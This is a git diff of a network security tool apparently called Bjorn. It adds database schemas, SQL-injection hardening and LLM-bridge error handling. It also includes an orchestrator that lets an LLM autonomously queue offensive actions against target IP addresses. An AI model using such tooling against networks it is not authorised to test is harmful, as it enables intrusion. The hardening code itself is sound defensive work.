);
""")
logger.debug("Packages table created/verified")
# =========================================================================
# PACKAGE OPERATIONS
# =========================================================================
def add_package(self, name: str, version: str) -> None:
"""Insert or replace a package record"""
self.base.execute("""
INSERT OR REPLACE INTO custom_packages (name, version)
VALUES (?, ?);
""", (name, version))
def remove_package(self, name: str) -> None:
"""Delete a package by name"""
self.base.execute("DELETE FROM custom_packages WHERE name=?;", (name,))
def list_packages(self) -> List[Dict[str, Any]]:
"""List all tracked packages"""
return self.base.query(
"SELECT * FROM custom_packages ORDER BY name;"
)
def get_package(self, name: str) -> Optional[Dict[str, Any]]:
"""Get a single package by name"""
return self.base.query_one(
"SELECT * FROM custom_packages WHERE name=?;", (name,)
)

137
db_utils/plugins.py Normal file
View File

@@ -0,0 +1,137 @@
"""plugins.py - Plugin configuration and hook tracking operations."""
import json
import logging
from typing import Any, Dict, List, Optional
from logger import Logger
logger = Logger(name="db_utils.plugins", level=logging.DEBUG)
class PluginOps:
"""Plugin configuration and hook registration operations."""
def __init__(self, base):
self.base = base
def create_tables(self):
"""Create plugin_configs and plugin_hooks tables."""
self.base.execute("""
CREATE TABLE IF NOT EXISTS plugin_configs (
plugin_id TEXT PRIMARY KEY,
enabled INTEGER DEFAULT 1,
config_json TEXT DEFAULT '{}',
meta_json TEXT DEFAULT '{}',
installed_at TEXT DEFAULT CURRENT_TIMESTAMP,
updated_at TEXT DEFAULT CURRENT_TIMESTAMP
);
""")
self.base.execute("""
CREATE TABLE IF NOT EXISTS plugin_hooks (
id INTEGER PRIMARY KEY AUTOINCREMENT,
plugin_id TEXT NOT NULL,
hook_name TEXT NOT NULL,
UNIQUE(plugin_id, hook_name),
FOREIGN KEY (plugin_id) REFERENCES plugin_configs(plugin_id)
ON DELETE CASCADE
);
""")
self.base.execute(
"CREATE INDEX IF NOT EXISTS idx_plugin_hooks_hook "
"ON plugin_hooks(hook_name);"
)
logger.debug("Plugin tables created/verified")
# ── Config CRUD ──────────────────────────────────────────────────
def get_plugin_config(self, plugin_id: str) -> Optional[Dict[str, Any]]:
"""Get plugin config row. Returns dict with parsed config_json and meta."""
row = self.base.query_one(
"SELECT * FROM plugin_configs WHERE plugin_id=?;", (plugin_id,)
)
if row:
try:
row["config"] = json.loads(row.get("config_json") or "{}")
except Exception:
row["config"] = {}
try:
row["meta"] = json.loads(row.get("meta_json") or "{}")
except Exception:
row["meta"] = {}
return row
def save_plugin_config(self, plugin_id: str, config: dict) -> None:
"""Update config_json for a plugin."""
self.base.execute("""
UPDATE plugin_configs
SET config_json = ?, updated_at = CURRENT_TIMESTAMP
WHERE plugin_id = ?;
""", (json.dumps(config, ensure_ascii=False), plugin_id))
def upsert_plugin(self, plugin_id: str, enabled: int, config: dict, meta: dict) -> None:
"""Insert or update a plugin record."""
self.base.execute("""
INSERT INTO plugin_configs (plugin_id, enabled, config_json, meta_json)
VALUES (?, ?, ?, ?)
ON CONFLICT(plugin_id) DO UPDATE SET
enabled = excluded.enabled,
meta_json = excluded.meta_json,
updated_at = CURRENT_TIMESTAMP;
""", (plugin_id, enabled, json.dumps(config, ensure_ascii=False),
json.dumps(meta, ensure_ascii=False)))
def delete_plugin(self, plugin_id: str) -> None:
"""Delete plugin and its hooks (CASCADE)."""
self.base.execute("DELETE FROM plugin_configs WHERE plugin_id=?;", (plugin_id,))
def list_plugins(self) -> List[Dict[str, Any]]:
"""List all registered plugins."""
rows = self.base.query("SELECT * FROM plugin_configs ORDER BY plugin_id;")
for r in rows:
try:
r["config"] = json.loads(r.get("config_json") or "{}")
except Exception:
r["config"] = {}
try:
r["meta"] = json.loads(r.get("meta_json") or "{}")
except Exception:
r["meta"] = {}
return rows
def set_plugin_enabled(self, plugin_id: str, enabled: bool) -> None:
"""Toggle plugin enabled state."""
self.base.execute(
"UPDATE plugin_configs SET enabled=?, updated_at=CURRENT_TIMESTAMP WHERE plugin_id=?;",
(1 if enabled else 0, plugin_id)
)
# ── Hook CRUD ────────────────────────────────────────────────────
def set_plugin_hooks(self, plugin_id: str, hooks: List[str]) -> None:
"""Replace all hooks for a plugin."""
with self.base.transaction():
self.base.execute("DELETE FROM plugin_hooks WHERE plugin_id=?;", (plugin_id,))
for h in hooks:
self.base.execute(
"INSERT OR IGNORE INTO plugin_hooks(plugin_id, hook_name) VALUES(?,?);",
(plugin_id, h)
)
def get_hooks_for_event(self, hook_name: str) -> List[str]:
"""Get all plugin_ids subscribed to a given hook."""
rows = self.base.query(
"SELECT plugin_id FROM plugin_hooks WHERE hook_name=?;", (hook_name,)
)
return [r["plugin_id"] for r in rows]
def get_hooks_for_plugin(self, plugin_id: str) -> List[str]:
"""Get all hooks a plugin subscribes to."""
rows = self.base.query(
"SELECT hook_name FROM plugin_hooks WHERE plugin_id=?;", (plugin_id,)
)
return [r["hook_name"] for r in rows]

View File

@@ -1,5 +1,4 @@
# db_utils/queue.py """queue.py - Action queue management operations."""
# Action queue management operations
import json import json
import sqlite3 import sqlite3

244
db_utils/schedules.py Normal file
View File

@@ -0,0 +1,244 @@
"""schedules.py - Script scheduling and trigger operations."""
import json
import logging
from datetime import datetime, timedelta
from typing import Any, Dict, List, Optional
from logger import Logger
logger = Logger(name="db_utils.schedules", level=logging.DEBUG)
class ScheduleOps:
"""Script schedule and trigger management operations"""
def __init__(self, base):
self.base = base
def create_tables(self):
"""Create script_schedules and script_triggers tables"""
self.base.execute("""
CREATE TABLE IF NOT EXISTS script_schedules (
id INTEGER PRIMARY KEY AUTOINCREMENT,
script_name TEXT NOT NULL,
schedule_type TEXT NOT NULL DEFAULT 'recurring',
interval_seconds INTEGER,
run_at TEXT,
args TEXT DEFAULT '',
conditions TEXT,
enabled INTEGER DEFAULT 1,
last_run_at TEXT,
next_run_at TEXT,
run_count INTEGER DEFAULT 0,
last_status TEXT,
last_error TEXT,
created_at TEXT DEFAULT CURRENT_TIMESTAMP,
updated_at TEXT DEFAULT CURRENT_TIMESTAMP
);
""")
self.base.execute("""
CREATE INDEX IF NOT EXISTS idx_sched_next
ON script_schedules(next_run_at) WHERE enabled=1;
""")
self.base.execute("""
CREATE TABLE IF NOT EXISTS script_triggers (
id INTEGER PRIMARY KEY AUTOINCREMENT,
script_name TEXT NOT NULL,
trigger_name TEXT NOT NULL,
conditions TEXT NOT NULL,
args TEXT DEFAULT '',
enabled INTEGER DEFAULT 1,
last_fired_at TEXT,
fire_count INTEGER DEFAULT 0,
cooldown_seconds INTEGER DEFAULT 60,
created_at TEXT DEFAULT CURRENT_TIMESTAMP
);
""")
self.base.execute("""
CREATE INDEX IF NOT EXISTS idx_trig_enabled
ON script_triggers(enabled) WHERE enabled=1;
""")
logger.debug("Schedule and trigger tables created/verified")
# =========================================================================
# SCHEDULE OPERATIONS
# =========================================================================
def add_schedule(self, script_name: str, schedule_type: str,
interval_seconds: Optional[int] = None,
run_at: Optional[str] = None, args: str = '',
conditions: Optional[str] = None) -> int:
"""Insert a new schedule entry and return its id"""
next_run_at = None
if schedule_type == 'recurring' and interval_seconds:
next_run_at = (datetime.utcnow() + timedelta(seconds=interval_seconds)).strftime('%Y-%m-%d %H:%M:%S')
elif run_at:
next_run_at = run_at
self.base.execute("""
INSERT INTO script_schedules
(script_name, schedule_type, interval_seconds, run_at, args, conditions, next_run_at)
VALUES (?, ?, ?, ?, ?, ?, ?);
""", (script_name, schedule_type, interval_seconds, run_at, args, conditions, next_run_at))
rows = self.base.query("SELECT last_insert_rowid() AS id;")
return rows[0]['id'] if rows else 0
def update_schedule(self, id: int, **kwargs) -> None:
"""Update schedule fields; recompute next_run_at if interval changes"""
if not kwargs:
return
sets = []
params = []
for key, value in kwargs.items():
sets.append(f"{key}=?")
params.append(value)
sets.append("updated_at=datetime('now')")
params.append(id)
self.base.execute(
f"UPDATE script_schedules SET {', '.join(sets)} WHERE id=?;",
tuple(params)
)
# Recompute next_run_at if interval changed
if 'interval_seconds' in kwargs:
row = self.get_schedule(id)
if row and row['schedule_type'] == 'recurring' and kwargs['interval_seconds']:
next_run = (datetime.utcnow() + timedelta(seconds=kwargs['interval_seconds'])).strftime('%Y-%m-%d %H:%M:%S')
self.base.execute(
"UPDATE script_schedules SET next_run_at=?, updated_at=datetime('now') WHERE id=?;",
(next_run, id)
)
def delete_schedule(self, id: int) -> None:
"""Delete a schedule by id"""
self.base.execute("DELETE FROM script_schedules WHERE id=?;", (id,))
def list_schedules(self, enabled_only: bool = False) -> List[Dict[str, Any]]:
"""List all schedules, optionally filtered to enabled only"""
if enabled_only:
return self.base.query(
"SELECT * FROM script_schedules WHERE enabled=1 ORDER BY id;"
)
return self.base.query("SELECT * FROM script_schedules ORDER BY id;")
def get_schedule(self, id: int) -> Optional[Dict[str, Any]]:
"""Get a single schedule by id"""
return self.base.query_one(
"SELECT * FROM script_schedules WHERE id=?;", (id,)
)
def get_due_schedules(self) -> List[Dict[str, Any]]:
"""Get schedules that are due to run"""
return self.base.query("""
SELECT * FROM script_schedules
WHERE enabled=1
AND next_run_at <= datetime('now')
AND (last_status IS NULL OR last_status != 'running')
ORDER BY next_run_at;
""")
def mark_schedule_run(self, id: int, status: str, error: Optional[str] = None) -> None:
"""Mark a schedule as run, update counters, recompute next_run_at"""
row = self.get_schedule(id)
if not row:
return
now = datetime.utcnow().strftime('%Y-%m-%d %H:%M:%S')
if row['schedule_type'] == 'recurring' and row['interval_seconds']:
next_run = (datetime.utcnow() + timedelta(seconds=row['interval_seconds'])).strftime('%Y-%m-%d %H:%M:%S')
self.base.execute("""
UPDATE script_schedules
SET last_run_at=?, last_status=?, last_error=?,
run_count=run_count+1, next_run_at=?, updated_at=datetime('now')
WHERE id=?;
""", (now, status, error, next_run, id))
else:
# oneshot: disable after run
self.base.execute("""
UPDATE script_schedules
SET last_run_at=?, last_status=?, last_error=?,
run_count=run_count+1, enabled=0, updated_at=datetime('now')
WHERE id=?;
""", (now, status, error, id))
def toggle_schedule(self, id: int, enabled: bool) -> None:
"""Enable or disable a schedule"""
self.base.execute(
"UPDATE script_schedules SET enabled=?, updated_at=datetime('now') WHERE id=?;",
(1 if enabled else 0, id)
)
# =========================================================================
# TRIGGER OPERATIONS
# =========================================================================
def add_trigger(self, script_name: str, trigger_name: str, conditions: str,
args: str = '', cooldown_seconds: int = 60) -> int:
"""Insert a new trigger and return its id"""
self.base.execute("""
INSERT INTO script_triggers
(script_name, trigger_name, conditions, args, cooldown_seconds)
VALUES (?, ?, ?, ?, ?);
""", (script_name, trigger_name, conditions, args, cooldown_seconds))
rows = self.base.query("SELECT last_insert_rowid() AS id;")
return rows[0]['id'] if rows else 0
def update_trigger(self, id: int, **kwargs) -> None:
"""Update trigger fields"""
if not kwargs:
return
sets = []
params = []
for key, value in kwargs.items():
sets.append(f"{key}=?")
params.append(value)
params.append(id)
self.base.execute(
f"UPDATE script_triggers SET {', '.join(sets)} WHERE id=?;",
tuple(params)
)
def delete_trigger(self, id: int) -> None:
"""Delete a trigger by id"""
self.base.execute("DELETE FROM script_triggers WHERE id=?;", (id,))
def list_triggers(self, enabled_only: bool = False) -> List[Dict[str, Any]]:
"""List all triggers, optionally filtered to enabled only"""
if enabled_only:
return self.base.query(
"SELECT * FROM script_triggers WHERE enabled=1 ORDER BY id;"
)
return self.base.query("SELECT * FROM script_triggers ORDER BY id;")
def get_trigger(self, id: int) -> Optional[Dict[str, Any]]:
"""Get a single trigger by id"""
return self.base.query_one(
"SELECT * FROM script_triggers WHERE id=?;", (id,)
)
def get_active_triggers(self) -> List[Dict[str, Any]]:
"""Get all enabled triggers"""
return self.base.query(
"SELECT * FROM script_triggers WHERE enabled=1 ORDER BY id;"
)
def mark_trigger_fired(self, id: int) -> None:
"""Record that a trigger has fired"""
self.base.execute("""
UPDATE script_triggers
SET last_fired_at=datetime('now'), fire_count=fire_count+1
WHERE id=?;
""", (id,))
def is_trigger_on_cooldown(self, id: int) -> bool:
"""Check if a trigger is still within its cooldown period"""
row = self.base.query_one("""
SELECT 1 AS on_cooldown FROM script_triggers
WHERE id=?
AND last_fired_at IS NOT NULL
AND datetime(last_fired_at, '+' || cooldown_seconds || ' seconds') > datetime('now');
""", (id,))
return row is not None

View File

@@ -1,5 +1,4 @@
# db_utils/scripts.py """scripts.py - Script and project metadata operations."""
# Script and project metadata operations
from typing import Any, Dict, List, Optional from typing import Any, Dict, List, Optional
import logging import logging

View File

@@ -1,11 +1,10 @@
""" """sentinel.py - Events, rules, and known devices baseline."""
Sentinel DB operations — events, rules, known devices baseline.
"""
import json import json
import logging import logging
from typing import Any, Dict, List, Optional from typing import Any, Dict, List, Optional
from logger import Logger from logger import Logger
from db_utils.base import _validate_identifier
logger = Logger(name="db_utils.sentinel", level=logging.DEBUG) logger = Logger(name="db_utils.sentinel", level=logging.DEBUG)
@@ -17,7 +16,7 @@ class SentinelOps:
def create_tables(self): def create_tables(self):
"""Create all Sentinel tables.""" """Create all Sentinel tables."""
# Known device baselines MAC → expected behavior # Known device baselines - MAC → expected behavior
self.base.execute(""" self.base.execute("""
CREATE TABLE IF NOT EXISTS sentinel_devices ( CREATE TABLE IF NOT EXISTS sentinel_devices (
mac_address TEXT PRIMARY KEY, mac_address TEXT PRIMARY KEY,
@@ -261,9 +260,11 @@ class SentinelOps:
if existing: if existing:
sets = [] sets = []
params = [] params = []
_ALLOWED_DEVICE_COLS = {"alias", "trusted", "watch", "expected_ips",
"expected_ports", "notes"}
for k, v in kwargs.items(): for k, v in kwargs.items():
if k in ("alias", "trusted", "watch", "expected_ips", if k in _ALLOWED_DEVICE_COLS:
"expected_ports", "notes"): _validate_identifier(k, "column name")
sets.append(f"{k} = ?") sets.append(f"{k} = ?")
params.append(v) params.append(v)
sets.append("last_seen = CURRENT_TIMESTAMP") sets.append("last_seen = CURRENT_TIMESTAMP")

View File

@@ -1,5 +1,4 @@
# db_utils/services.py """services.py - Per-port service fingerprinting and tracking."""
# Per-port service fingerprinting and tracking operations
from typing import Dict, List, Optional from typing import Dict, List, Optional
import logging import logging

View File

@@ -1,5 +1,4 @@
# db_utils/software.py """software.py - Detected software (CPE) inventory operations."""
# Detected software (CPE) inventory operations
from typing import List, Optional from typing import List, Optional
import logging import logging

View File

@@ -1,5 +1,4 @@
# db_utils/stats.py """stats.py - Statistics tracking and display operations."""
# Statistics tracking and display operations
import time import time
import sqlite3 import sqlite3

View File

@@ -1,11 +1,12 @@
# db_utils/studio.py """studio.py - Actions Studio visual editor operations."""
# Actions Studio visual editor operations
import json import json
import re
from typing import Dict, List, Optional from typing import Dict, List, Optional
import logging import logging
from logger import Logger from logger import Logger
from db_utils.base import _validate_identifier
logger = Logger(name="db_utils.studio", level=logging.DEBUG) logger = Logger(name="db_utils.studio", level=logging.DEBUG)
@@ -105,13 +106,27 @@ class StudioOps:
ORDER BY b_priority DESC, b_class ORDER BY b_priority DESC, b_class
""") """)
# Whitelist of columns that can be updated via the studio API
_STUDIO_UPDATABLE = frozenset({
'b_priority', 'studio_x', 'studio_y', 'studio_locked', 'studio_color',
'studio_metadata', 'b_trigger', 'b_requires', 'b_enabled', 'b_timeout',
'b_max_retries', 'b_cooldown', 'b_rate_limit', 'b_service', 'b_port',
'b_stealth_level', 'b_risk_level', 'b_tags', 'b_parent', 'b_action',
})
def update_studio_action(self, b_class: str, updates: dict): def update_studio_action(self, b_class: str, updates: dict):
"""Update a studio action""" """Update a studio action"""
sets = [] sets = []
params = [] params = []
for key, value in updates.items(): for key, value in updates.items():
_validate_identifier(key, "column name")
if key not in self._STUDIO_UPDATABLE:
logger.warning(f"Ignoring unknown studio column: {key}")
continue
sets.append(f"{key} = ?") sets.append(f"{key} = ?")
params.append(value) params.append(value)
if not sets:
return
params.append(b_class) params.append(b_class)
self.base.execute(f""" self.base.execute(f"""
@@ -313,7 +328,9 @@ class StudioOps:
if col == "b_class": if col == "b_class":
continue continue
if col not in stu_cols: if col not in stu_cols:
_validate_identifier(col, "column name")
col_type = act_col_defs.get(col, "TEXT") or "TEXT" col_type = act_col_defs.get(col, "TEXT") or "TEXT"
_validate_identifier(col_type.split()[0], "column type")
self.base.execute(f"ALTER TABLE actions_studio ADD COLUMN {col} {col_type};") self.base.execute(f"ALTER TABLE actions_studio ADD COLUMN {col} {col_type};")
# 3) Insert missing b_class entries, non-destructive # 3) Insert missing b_class entries, non-destructive
@@ -326,6 +343,7 @@ class StudioOps:
for col in act_cols: for col in act_cols:
if col == "b_class": if col == "b_class":
continue continue
_validate_identifier(col, "column name")
# Only update if the studio value is NULL # Only update if the studio value is NULL
self.base.execute(f""" self.base.execute(f"""
UPDATE actions_studio UPDATE actions_studio

View File

@@ -1,5 +1,4 @@
# db_utils/vulnerabilities.py """vulnerabilities.py - Vulnerability tracking and CVE metadata operations."""
# Vulnerability tracking and CVE metadata operations
import json import json
import time import time

View File

@@ -1,5 +1,4 @@
# db_utils/webenum.py """webenum.py - Web enumeration and directory/file discovery operations."""
# Web enumeration (directory/file discovery) operations
from typing import Any, Dict, List, Optional from typing import Any, Dict, List, Optional
import logging import logging

View File

@@ -1,3 +1,4 @@
"""debug_schema.py - Dump RL table schemas to schema_debug.txt for quick inspection."""
import sqlite3 import sqlite3
import os import os

View File

@@ -1,7 +1,4 @@
# display.py """display.py - E-paper display renderer and web screenshot generator."""
# Core component for managing the E-Paper Display (EPD) and Web Interface Screenshot
# OPTIMIZED FOR PI ZERO 2: Asynchronous Rendering, Text Caching, and I/O Throttling.
# FULL VERSION - NO LOGIC REMOVED
import math import math
import threading import threading
@@ -704,7 +701,7 @@ class Display:
break break
def _draw_system_histogram(self, image: Image.Image, draw: ImageDraw.Draw): def _draw_system_histogram(self, image: Image.Image, draw: ImageDraw.Draw):
# Vertical bars at the bottom-left positions from layout # Vertical bars at the bottom-left - positions from layout
mem_hist = self.layout.get('mem_histogram') mem_hist = self.layout.get('mem_histogram')
cpu_hist = self.layout.get('cpu_histogram') cpu_hist = self.layout.get('cpu_histogram')
@@ -1026,7 +1023,7 @@ class Display:
self._comment_layout_cache["key"] != key or self._comment_layout_cache["key"] != key or
(now - self._comment_layout_cache["ts"]) >= self._comment_layout_min_interval (now - self._comment_layout_cache["ts"]) >= self._comment_layout_min_interval
): ):
# J'ai aussi augmenté la largeur disponible (width - 2) puisque l'on se colle au bord # Use (width - 2) since text hugs the edge
lines = self.shared_data.wrap_text( lines = self.shared_data.wrap_text(
self.shared_data.bjorn_says, self.shared_data.bjorn_says,
self.shared_data.font_arialbold, self.shared_data.font_arialbold,

View File

@@ -1,7 +1,5 @@
""" """display_layout.py - Data-driven layout definitions for multi-size e-paper displays."""
Display Layout Engine for multi-size EPD support.
Provides data-driven layout definitions per display model.
"""
import json import json
import os import os
import logging import logging

View File

@@ -1,11 +1,4 @@
""" """epd_manager.py - Singleton wrapper around Waveshare EPD drivers with serialized SPI access."""
EPD Manager - singleton wrapper around Waveshare drivers.
Hardened for runtime stability:
- no per-operation worker-thread timeouts (prevents leaked stuck SPI threads)
- serialized SPI access
- bounded retry + recovery
- health metrics for monitoring
"""
import importlib import importlib
import threading import threading

View File

@@ -1,22 +1,4 @@
""" """feature_logger.py - Auto-capture action execution features for deep learning training."""
feature_logger.py - Dynamic Feature Logging Engine for Bjorn
═══════════════════════════════════════════════════════════════════════════
Purpose:
Automatically capture ALL relevant features from action executions
for deep learning model training. No manual feature declaration needed.
Architecture:
- Automatic feature extraction from all data sources
- Time-series aggregation
- Network topology features
- Action success patterns
- Lightweight storage optimized for Pi Zero
- Export format ready for deep learning
Author: Bjorn Team (Enhanced AI Version)
Version: 2.0.0
"""
import json import json
import time import time
@@ -220,6 +202,7 @@ class FeatureLogger:
'success': success, 'success': success,
'timestamp': time.time() 'timestamp': time.time()
}) })
if len(self.host_history) > 1000:
self._prune_host_history() self._prune_host_history()
logger.debug( logger.debug(

View File

@@ -1,13 +1,8 @@
#init_shared.py """init_shared.py - Global singleton for shared state; import shared_data from here."""
# Description:
# This file, init_shared.py, is responsible for initializing and providing access to shared data across different modules in the Bjorn project.
#
# Key functionalities include:
# - Importing the `SharedData` class from the `shared` module.
# - Creating an instance of `SharedData` named `shared_data` that holds common configuration, paths, and other resources.
# - Ensuring that all modules importing `shared_data` will have access to the same instance, promoting consistency and ease of data management throughout the project.
from shared import SharedData from shared import SharedData
# Module-level initialization is thread-safe in CPython: the import lock
# guarantees that this module body executes at most once, even when multiple
# threads import it concurrently (see importlib._bootstrap._ModuleLock).
shared_data = SharedData() shared_data = SharedData()

View File

@@ -1,15 +1,4 @@
# land_protocol.py """land_protocol.py - LAND protocol client: mDNS discovery + HTTP inference for local AI nodes."""
# Python client for the LAND Protocol (Local AI Network Discovery).
# https://github.com/infinition/land-protocol
#
# Replace this file to update LAND protocol compatibility.
# Imported by llm_bridge.py — no other Bjorn code touches this.
#
# Protocol summary:
# Discovery : mDNS service type _ai-inference._tcp.local. (port 5353)
# Transport : TCP HTTP on port 8419 by default
# Infer : POST /infer {"prompt": str, "capability": "llm", "max_tokens": int}
# Response : {"response": str} or {"text": str}
import json import json
import threading import threading
@@ -43,11 +32,11 @@ def discover_node(
except ImportError: except ImportError:
if logger: if logger:
logger.warning( logger.warning(
"zeroconf not installed LAND mDNS discovery disabled. " "zeroconf not installed - LAND mDNS discovery disabled. "
"Run: pip install zeroconf" "Run: pip install zeroconf"
) )
else: else:
print("[LAND] zeroconf not installed mDNS discovery disabled") print("[LAND] zeroconf not installed - mDNS discovery disabled")
return return
class _Listener(ServiceListener): class _Listener(ServiceListener):

View File

@@ -1,9 +1,7 @@
# llm_bridge.py """llm_bridge.py - LLM backend cascade: LAND/LaRuche -> Ollama -> external API -> fallback."""
# LLM backend cascade for Bjorn.
# Priority: LaRuche (LAND/mDNS) → Ollama local → External API → None (template fallback)
# All external deps are optional — graceful degradation at every level.
import json import json
import socket
import threading import threading
import time import time
import urllib.request import urllib.request
@@ -17,7 +15,7 @@ logger = Logger(name="llm_bridge.py", level=20) # INFO
# --------------------------------------------------------------------------- # ---------------------------------------------------------------------------
# Tool definitions (Anthropic Messages API format). # Tool definitions (Anthropic Messages API format).
# Mirrors the tools exposed by mcp_server.py add new tools here too. # Mirrors the tools exposed by mcp_server.py - add new tools here too.
# --------------------------------------------------------------------------- # ---------------------------------------------------------------------------
_BJORN_TOOLS: List[Dict] = [ _BJORN_TOOLS: List[Dict] = [
{ {
@@ -104,7 +102,7 @@ class LLMBridge:
3. External API (Anthropic / OpenAI / OpenRouter) 3. External API (Anthropic / OpenAI / OpenRouter)
4. None → caller falls back to templates 4. None → caller falls back to templates
Singleton one instance per process, thread-safe. Singleton - one instance per process, thread-safe.
""" """
_instance: Optional["LLMBridge"] = None _instance: Optional["LLMBridge"] = None
@@ -137,7 +135,7 @@ class LLMBridge:
self._hist_lock = threading.Lock() self._hist_lock = threading.Lock()
self._ready = True self._ready = True
# Always start mDNS discovery even if LLM is disabled. # Always start mDNS discovery - even if LLM is disabled.
# This way LaRuche URL is ready the moment the user enables LLM. # This way LaRuche URL is ready the moment the user enables LLM.
if self._cfg("llm_laruche_discovery", True): if self._cfg("llm_laruche_discovery", True):
self._start_laruche_discovery() self._start_laruche_discovery()
@@ -241,11 +239,11 @@ class LLMBridge:
logger.info(f"LLM response from [{b}] (len={len(result)})") logger.info(f"LLM response from [{b}] (len={len(result)})")
return result return result
else: else:
logger.warning(f"LLM backend [{b}] returned empty response skipping") logger.warning(f"LLM backend [{b}] returned empty response - skipping")
except Exception as exc: except Exception as exc:
logger.warning(f"LLM backend [{b}] failed: {exc}") logger.warning(f"LLM backend [{b}] failed: {exc}")
logger.debug("All LLM backends failed returning None (template fallback)") logger.debug("All LLM backends failed - returning None (template fallback)")
return None return None
def generate_comment( def generate_comment(
@@ -278,7 +276,7 @@ class LLMBridge:
[{"role": "user", "content": prompt}], [{"role": "user", "content": prompt}],
max_tokens=int(self._cfg("llm_comment_max_tokens", 80)), max_tokens=int(self._cfg("llm_comment_max_tokens", 80)),
system=system, system=system,
timeout=8, # Short timeout for EPD fall back fast timeout=8, # Short timeout for EPD - fall back fast
) )
def chat( def chat(
@@ -288,7 +286,7 @@ class LLMBridge:
system: Optional[str] = None, system: Optional[str] = None,
) -> Optional[str]: ) -> Optional[str]:
""" """
Stateful chat with Bjorn maintains conversation history per session. Stateful chat with Bjorn - maintains conversation history per session.
""" """
if not self._is_enabled(): if not self._is_enabled():
return "LLM is disabled. Enable it in Settings → LLM Bridge." return "LLM is disabled. Enable it in Settings → LLM Bridge."
@@ -420,8 +418,17 @@ class LLMBridge:
headers={"Content-Type": "application/json"}, headers={"Content-Type": "application/json"},
method="POST", method="POST",
) )
try:
with urllib.request.urlopen(req, timeout=timeout) as resp: with urllib.request.urlopen(req, timeout=timeout) as resp:
body = json.loads(resp.read().decode()) raw_bytes = resp.read().decode()
except (urllib.error.URLError, socket.timeout, ConnectionError, OSError) as e:
logger.warning(f"Ollama network error: {e}")
return None
try:
body = json.loads(raw_bytes)
except json.JSONDecodeError as e:
logger.warning(f"Ollama returned invalid JSON: {e}")
return None
return body.get("message", {}).get("content") or None return body.get("message", {}).get("content") or None
# ------------------------------------------------------------------ # ------------------------------------------------------------------
@@ -481,8 +488,17 @@ class LLMBridge:
data = json.dumps(payload).encode() data = json.dumps(payload).encode()
req = urllib.request.Request(api_url, data=data, headers=headers, method="POST") req = urllib.request.Request(api_url, data=data, headers=headers, method="POST")
try:
with urllib.request.urlopen(req, timeout=timeout) as resp: with urllib.request.urlopen(req, timeout=timeout) as resp:
body = json.loads(resp.read().decode()) raw_bytes = resp.read().decode()
except (urllib.error.URLError, socket.timeout, ConnectionError, OSError) as e:
logger.warning(f"Anthropic network error: {e}")
return None
try:
body = json.loads(raw_bytes)
except json.JSONDecodeError as e:
logger.warning(f"Anthropic returned invalid JSON: {e}")
return None
stop_reason = body.get("stop_reason") stop_reason = body.get("stop_reason")
content = body.get("content", []) content = body.get("content", [])
@@ -541,11 +557,18 @@ class LLMBridge:
if name == "get_status": if name == "get_status":
return mcp_server._impl_get_status() return mcp_server._impl_get_status()
if name == "run_action": if name == "run_action":
action_name = inputs.get("action_name")
target_ip = inputs.get("target_ip")
if not action_name or not target_ip:
return json.dumps({"error": "run_action requires 'action_name' and 'target_ip'"})
return mcp_server._impl_run_action( return mcp_server._impl_run_action(
inputs["action_name"], inputs["target_ip"], inputs.get("target_mac", "") action_name, target_ip, inputs.get("target_mac", "")
) )
if name == "query_db": if name == "query_db":
return mcp_server._impl_query_db(inputs["sql"], inputs.get("params")) sql = inputs.get("sql")
if not sql:
return json.dumps({"error": "query_db requires 'sql'"})
return mcp_server._impl_query_db(sql, inputs.get("params"))
return json.dumps({"error": f"Unknown tool: {name}"}) return json.dumps({"error": f"Unknown tool: {name}"})
except Exception as e: except Exception as e:
return json.dumps({"error": str(e)}) return json.dumps({"error": str(e)})
@@ -585,8 +608,17 @@ class LLMBridge:
}, },
method="POST", method="POST",
) )
try:
with urllib.request.urlopen(req, timeout=timeout) as resp: with urllib.request.urlopen(req, timeout=timeout) as resp:
body = json.loads(resp.read().decode()) raw_bytes = resp.read().decode()
except (urllib.error.URLError, socket.timeout, ConnectionError, OSError) as e:
logger.warning(f"OpenAI-compat network error: {e}")
return None
try:
body = json.loads(raw_bytes)
except json.JSONDecodeError as e:
logger.warning(f"OpenAI-compat returned invalid JSON: {e}")
return None
return body.get("choices", [{}])[0].get("message", {}).get("content") or None return body.get("choices", [{}])[0].get("message", {}).get("content") or None
# ------------------------------------------------------------------ # ------------------------------------------------------------------

View File

@@ -1,18 +1,4 @@
# llm_orchestrator.py """llm_orchestrator.py - LLM-driven scheduling layer (advisor or autonomous mode)."""
# LLM-based orchestration layer for Bjorn.
#
# Modes (llm_orchestrator_mode in config):
# none — disabled (default); LLM has no role in scheduling
# advisor — LLM reviews state periodically and injects ONE priority action
# autonomous — LLM runs its own agentic cycle, observes via MCP tools, queues actions
#
# Prerequisites: llm_enabled=True, llm_orchestrator_mode != "none"
#
# Guard rails:
# llm_orchestrator_allowed_actions — whitelist for run_action (empty = mcp_allowed_tools)
# llm_orchestrator_max_actions — hard cap on actions per autonomous cycle
# llm_orchestrator_interval_s — cooldown between autonomous cycles
# Falls back silently when LLM unavailable (no crash, no spam)
import json import json
import threading import threading
@@ -32,8 +18,8 @@ class LLMOrchestrator:
""" """
LLM-based orchestration layer. LLM-based orchestration layer.
advisor mode called from orchestrator background tasks; LLM suggests one action. advisor mode - called from orchestrator background tasks; LLM suggests one action.
autonomous mode runs its own thread; LLM loops with full tool-calling. autonomous mode - runs its own thread; LLM loops with full tool-calling.
""" """
def __init__(self, shared_data): def __init__(self, shared_data):
@@ -58,7 +44,7 @@ class LLMOrchestrator:
self._thread.start() self._thread.start()
logger.info("LLM Orchestrator started (autonomous)") logger.info("LLM Orchestrator started (autonomous)")
elif mode == "advisor": elif mode == "advisor":
logger.info("LLM Orchestrator ready (advisor called from background tasks)") logger.info("LLM Orchestrator ready (advisor - called from background tasks)")
def stop(self) -> None: def stop(self) -> None:
self._stop.set() self._stop.set()
@@ -152,7 +138,7 @@ class LLMOrchestrator:
system = ( system = (
"You are Bjorn's tactical advisor. Review the current network state " "You are Bjorn's tactical advisor. Review the current network state "
"and suggest ONE action to queue, or nothing if the queue is sufficient. " "and suggest ONE action to queue, or nothing if the queue is sufficient. "
"Reply ONLY with valid JSON no markdown, no commentary.\n" "Reply ONLY with valid JSON - no markdown, no commentary.\n"
'Format when action needed: {"action": "ActionName", "target_ip": "1.2.3.4", "reason": "brief"}\n' 'Format when action needed: {"action": "ActionName", "target_ip": "1.2.3.4", "reason": "brief"}\n'
'Format when nothing needed: {"action": null}\n' 'Format when nothing needed: {"action": null}\n'
"action must be exactly one of: " + ", ".join(allowed) + "\n" "action must be exactly one of: " + ", ".join(allowed) + "\n"
